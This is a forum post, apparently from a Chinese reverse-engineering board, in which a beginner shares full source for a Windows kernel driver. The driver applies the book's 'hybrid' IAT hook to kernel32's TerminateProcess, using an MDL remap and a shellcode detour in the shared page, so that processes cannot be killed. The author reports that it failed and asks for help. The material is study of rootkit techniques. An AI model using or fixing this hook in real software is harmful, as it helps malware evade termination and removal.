议题作者:sudami
驱动刚入门, 虽然HOOK ZwQuerySystemInformation被用烂了, 但下面这个更烂了吧
Rootkits: Subverting the Windows Kernel 一书中关于
"A Hybrid Hooking Approach"
这种方式之所以hybrid, 其实是在RING0下更改IAT而已.
有点像RING3中的IAT HOOK,又有点像Inline HOOK;
但书上说的毕竟是科普性的, 只提供了一个模版,
于是偶在这个模版的基础上实验了下,结果没有成功.5555~
完整代码如下:
/*********************************************************************************
* Mender : sudami
* Time : 07/10/22
* Comment : 实验一下书中的关于Hybrid Hooking 的方法,掌握基本原理
*
********************************************************************************/
#include "ntddk.h"
#include "ntimage.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
typedef unsigned long DWORD;
typedef unsigned long *PDWORD;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef unsigned int UINT;
typedef BYTE BOOLEAN;
typedef BOOLEAN BOOL;
#define WINAPI __stdcall
// 定义一个宏,可有可无
#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (DWORD)(addValue))
BOOLEAN gb_Hooked;
VOID MyImageLoadNotify(IN PUNICODE_STRING,
IN HANDLE,
IN PIMAGE_INFO);
NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER, HANDLE);
//-------------------------------------------------------------------------------------------------------------------------
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
NTSTATUS ntStatus;
gb_Hooked = FALSE; // We have not hooked yet
ntStatus = PsSetLoadImageNotifyRoutine(MyImageLoadNotify);
return ntStatus;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
VOID MyImageLoadNotify(IN PUNICODE_STRING FullImageName,
IN HANDLE ProcessId, // Process where image is mapped
IN PIMAGE_INFO ImageInfo)
{
UNICODE_STRING u_targetDLL;
// Setup the name of the DLL to target
RtlInitUnicodeString(&u_targetDLL, L"\\WINDOWS\\system32\\kernel32.dll");
if (RtlCompareUnicodeString(FullImageName, &u_targetDLL, TRUE) == 0)
{
HookImportsOfImage(ImageInfo->ImageBase, ProcessId);
}
}
//-----------------------------------------------------------------------------------------------------------
// 这个函数是偶加的,替换掉IAT指定函数入口(TerminateProcess)的前8字节
// 结果并没有见效
//-----------------------------------------------------------------------------------------------------------
BOOL WINAPI MyTerminateProcess(HANDLE hProcess, UINT nExitCode)
{
return TRUE;
}
NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER image_addr, HANDLE h_proc)
{
PIMAGE_DOS_HEADER dosHeader;
PIMAGE_NT_HEADERS pNTHeader;
PIMAGE_IMPORT_DESCRIPTOR importDesc;
PIMAGE_IMPORT_BY_NAME p_ibn;
DWORD importsStartRVA;
PDWORD pd_IAT, pd_INTO;
int count, index;
char *dll_name = NULL;
char *pc_dlltar = "kernel32.dll";
char *pc_fnctar = "TerminateProcess";
PMDL p_mdl;
PDWORD MappedImTable;
DWORD d_sharedM = 0x7ffe0800;
DWORD d_sharedK = 0xffdf0800;
// Little detour
unsigned char new_code[] = {
0x90, // NOP make INT 3 to see
0xb8, 0xff, 0xff, 0xff, 0xff, // mov eax, 0xffffffff
0xff, 0xe0 // jmp eax
};
dosHeader = (PIMAGE_DOS_HEADER) image_addr;
pNTHeader = MakePtr( PIMAGE_NT_HEADERS, dosHeader,
dosHeader->e_lfanew );
if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE )
return STATUS_INVALID_IMAGE_FORMAT;
importsStartRVA = pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (!importsStartRVA)
return STATUS_INVALID_IMAGE_FORMAT;
importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (importsStartRVA + (DWORD) dosHeader);
for (count = 0; importDesc[count].Characteristics != 0; count++)
{
dll_name = (char*) (importDesc[count].Name + (DWORD) dosHeader);
pd_IAT = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].FirstThunk);
pd_INTO = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].OriginalFirstThunk);
for (index = 0; pd_IAT[index] != 0; index++)
{
// If this is an import by ordinal the high
// bit is set
if ((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)
{
p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index]+((DWORD) dosHeader));
if ((_stricmp(dll_name, pc_dlltar) == 0) && \
(strcmp(p_ibn->Name, pc_fnctar) == 0))
{
p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4);
if(!p_mdl)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(p_mdl);
// Change the flags of the MDL
p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedImTable = MmMapLockedPages(p_mdl, KernelMode);
if (!gb_Hooked)
{
RtlCopyMemory((PVOID)d_sharedK, new_code, 8);
RtlCopyMemory((PVOID)(d_sharedK+2),(PVOID)MyTerminateProcess, 4);
gb_Hooked = TRUE;
}
// Offset to the "new function"
*MappedImTable = d_sharedM;
// Free MDL
MmUnmapLockedPages(MappedImTable, p_mdl);
IoFreeMdl(p_mdl);
}
}
}
}
return STATUS_SUCCESS;
}
关键地方是,找到要替换的函数后--
p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4);
if(!p_mdl)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(p_mdl);
// Change the flags of the MDL
p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedImTable = MmMapLockedPages(p_mdl, KernelMode);
if (!gb_Hooked)
{
// Writing the raw opcodes to memory
// used a kernel address that gets mapped
// into the address space of all processes
// thanks to Barnaby Jack
RtlCopyMemory((PVOID)d_sharedK, new_code, 8);
RtlCopyMemory((PVOID)(d_sharedK+2),(PVOID)MyTerminateProcess, 4);
gb_Hooked = TRUE;
}
// Offset to the "new function"
*MappedImTable = d_sharedM;
映射到自己的区域里面,然后替换掉就差不多了
理论上新加载一个PE文件到内存后,比如打开了任务管理器, 再用任务管理器去结束进程,应该结束不掉的吧?
可偶在虚拟机上加载驱动后, 并没有任何效果, 请问是什么原因啊?
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: